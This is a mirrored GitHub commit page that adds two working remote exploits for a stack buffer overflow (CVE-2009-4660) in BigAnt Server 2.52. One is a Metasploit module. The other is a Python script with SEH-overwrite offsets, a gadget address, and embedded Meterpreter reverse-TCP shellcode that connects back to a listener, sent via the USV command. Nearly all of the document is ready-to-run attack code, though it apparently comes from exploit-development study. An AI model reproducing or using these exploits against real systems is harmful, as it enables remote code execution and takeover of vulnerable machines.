mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
BigAnt Server 2.52 USV Buffer Overflow
This commit is contained in:
VoidSec
@@ -0,0 +1,78 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a stack buffer overflow in the BigAnt Messaging Service,
|
||||
part of the BigAnt Server product suite. This module was tested
|
||||
successfully against version 2.52.
|
||||
|
||||
NOTE: The AntServer service does not restart, you only get one shot.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Lincoln',
|
||||
'DouBle_Zer0',
|
||||
'jduck',
|
||||
'Paolo Stagno - voidsec@voidsec.com - https://voidsec.com' #Win10 PoC module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-4660' ],
|
||||
[ 'OSVDB', '61386' ],
|
||||
[ 'EDB', '10765' ],
|
||||
[ 'EDB', '10973' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 704,
|
||||
'BadChars' => "\x00\x0a\x0d\x20\x25"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'BigAnt 2.52 Win10', {
|
||||
'Ret' => 0x0f9d34fc,
|
||||
'Offset' => 962
|
||||
} ], #Tested on Windows 10 x64 Pro v.10.0.18363 Build 18363
|
||||
[ 'BigAnt 2.52 XPSP3', {
|
||||
'Ret' => 0x1b019fd6,
|
||||
'Offset' => 962
|
||||
} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 29 2009'))
|
||||
|
||||
register_options([Opt::RPORT(6660)])
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
max_buff_length = 2500
|
||||
sploit = ""
|
||||
sploit << make_nops(target['Offset'])
|
||||
sploit << generate_seh_payload(target.ret)
|
||||
sploit << payload.encoded
|
||||
sploit << make_nops(max_buff_length-sploit.length)
|
||||
print_status("Trying target #{target.name}...")
|
||||
sock.put("USV " + sploit + "\r\n\r\n")
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,71 @@
|
||||
"""
|
||||
Full title: BigAnt Messaging Service (AntServer) v.2.5.0.3 USV Command Remote Buffer Overflow (SEH)
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://www.bigantsoft.com/
|
||||
Version: BigAnt Console v.2.52 Service Pack 5
|
||||
Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
Usage: Set the target IP, this script will take care of everything else.
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
import sys, socket, struct
|
||||
#config
|
||||
target = "127.0.0.1"
|
||||
port = 6660
|
||||
#-----------------buff struct-----------------
|
||||
# v--------| p/p/r #2
|
||||
#buffer (2500) = | junk (962) | nSEH (4) | SEH (4) | shellcode (704) | junk2 (1674) not usable|
|
||||
#------------------------------------------^ #1
|
||||
# | jmp #3 --------------^
|
||||
total_length = 2500
|
||||
#SEH record (nseh field) at 0x0275fd38 overwritten with normal pattern : 0x31674230 (offset 962), followed by 704 bytes of cyclic data after the handler
|
||||
offset = 962
|
||||
buffer ="A" * offset #junk
|
||||
buffer += "\xeb\x06\x90\x90" #nSEH: jump forward of 7 bytes
|
||||
#had to chose an OS module has others have nullbytes
|
||||
#0x0f9d34fc : pop edi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [expsrv.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.0.9589 (C:\Windows\SYSTEM32\expsrv.dll)
|
||||
buffer += struct.pack("<L", 0x0f9d34fc) #SEH: pop pop ret -> nSEH
|
||||
#bad chars: \x00\x0a\x0d\x20\x25
|
||||
buffer += "\x81\xc4\x24\xfa\xff\xff" # stack adj: add esp,-1500
|
||||
# shellcode (brk at 0x237FD41 - 0x0237FFFC) (389/704)
|
||||
#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=thread -b '\x00\x0a\x0d\x20\x25' -f python
|
||||
buffer += b"\xd9\xc4\xb8\x93\x8b\xb5\x46\xd9\x74\x24\xf4\x5b\x29"
|
||||
buffer += b"\xc9\xb1\x5b\x83\xc3\x04\x31\x43\x15\x03\x43\x15\x71"
|
||||
buffer += b"\x7e\x49\xae\xf7\x81\xb2\x2f\x97\x08\x57\x1e\x97\x6f"
|
||||
buffer += b"\x13\x31\x27\xfb\x71\xbe\xcc\xa9\x61\x35\xa0\x65\x85"
|
||||
buffer += b"\xfe\x0e\x50\xa8\xff\x22\xa0\xab\x83\x38\xf5\x0b\xbd"
|
||||
buffer += b"\xf3\x08\x4d\xfa\xe9\xe1\x1f\x53\x66\x57\xb0\xd0\x32"
|
||||
buffer += b"\x64\x3b\xaa\xd3\xec\xd8\x7b\xd2\xdd\x4e\xf7\x8d\xfd"
|
||||
buffer += b"\x71\xd4\xa6\xb7\x69\x39\x82\x0e\x01\x89\x79\x91\xc3"
|
||||
buffer += b"\xc3\x82\x3e\x2a\xec\x71\x3e\x6a\xcb\x69\x35\x82\x2f"
|
||||
buffer += b"\x14\x4e\x51\x4d\xc2\xdb\x42\xf5\x81\x7c\xaf\x07\x46"
|
||||
buffer += b"\x1a\x24\x0b\x23\x68\x62\x08\xb2\xbd\x18\x34\x3f\x40"
|
||||
buffer += b"\xcf\xbc\x7b\x67\xcb\xe5\xd8\x06\x4a\x40\x8f\x37\x8c"
|
||||
buffer += b"\x2b\x70\x92\xc6\xc6\x65\xaf\x84\x8e\x4a\x82\x36\x4f"
|
||||
buffer += b"\xc4\x95\x45\x7d\x4b\x0e\xc2\xcd\x04\x88\x15\x47\x02"
|
||||
buffer += b"\x2b\xc9\xef\x42\xd5\xea\x0f\x4b\x12\xbe\x5f\xe3\xb3"
|
||||
buffer += b"\xbf\x0b\xf3\x3c\x6a\xa1\xf9\xaa\x55\x9e\x33\x2b\x3e"
|
||||
buffer += b"\xdd\xcb\x3d\xe2\x68\x2d\x6d\x4a\x3b\xe1\xce\x3a\xfb"
|
||||
buffer += b"\x51\xa7\x50\xf4\x8e\xd7\x5a\xde\xa7\x72\xb5\xb7\x90"
|
||||
buffer += b"\xea\x2c\x92\x6a\x8a\xb1\x08\x17\x8c\x3a\xb9\xe8\x43"
|
||||
buffer += b"\xcb\xc8\xfa\xb4\xac\x32\x02\x45\x59\x33\x68\x41\xcb"
|
||||
buffer += b"\x64\x04\x4b\x2a\x42\x8b\xb4\x19\xd0\xcb\x4b\xdc\xe1"
|
||||
buffer += b"\xa0\x7a\x4a\x4e\xde\x82\x9a\x4e\x1e\xd5\xf0\x4e\x76"
|
||||
buffer += b"\x81\xa0\x1c\x63\xce\x7c\x31\x38\x5b\x7f\x60\xed\xcc"
|
||||
buffer += b"\x17\x8e\xc8\x3b\xb8\x71\x3f\x38\xbf\x8e\xc2\x17\x18"
|
||||
buffer += b"\xe7\x3c\x28\x98\xf7\x56\xa8\xc8\x9f\xad\x87\xe7\x6f"
|
||||
buffer += b"\x4e\x02\xa0\xe7\xc5\xc3\x02\x99\xda\xc9\xc3\x07\xdb"
|
||||
buffer += b"\xfe\xdf\xb8\xa6\x8f\xe0\x38\x57\x86\x84\x38\x58\xa6"
|
||||
buffer += b"\xba\x05\x8f\x9f\xc8\x48\x0c\xa4\xd3\x56\xb8\xd1\x7b"
|
||||
buffer += b"\xcf\x29\x58\xe6\xf0\x84\x9f\x1f\x73\x2c\x60\xe4\x6b"
|
||||
buffer += b"\x45\x65\xa0\x2b\xb6\x17\xb9\xd9\xb8\x84\xba\xcb"
|
||||
#-----------------shellcode---------------
|
||||
buffer += "A" * (total_length - len(buffer)) # junk2
|
||||
#-----------------exploit-----------------
|
||||
# Make a connection to target system on TCP/6660
|
||||
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
connect = s.connect((target,port))
|
||||
# Send the "USV " command plus our buffer
|
||||
s.send("USV " + buffer + "\r\n\r\n")
|
||||
s.close()
|
||||
Binary file not shown.
Reference in New Issue
Block a user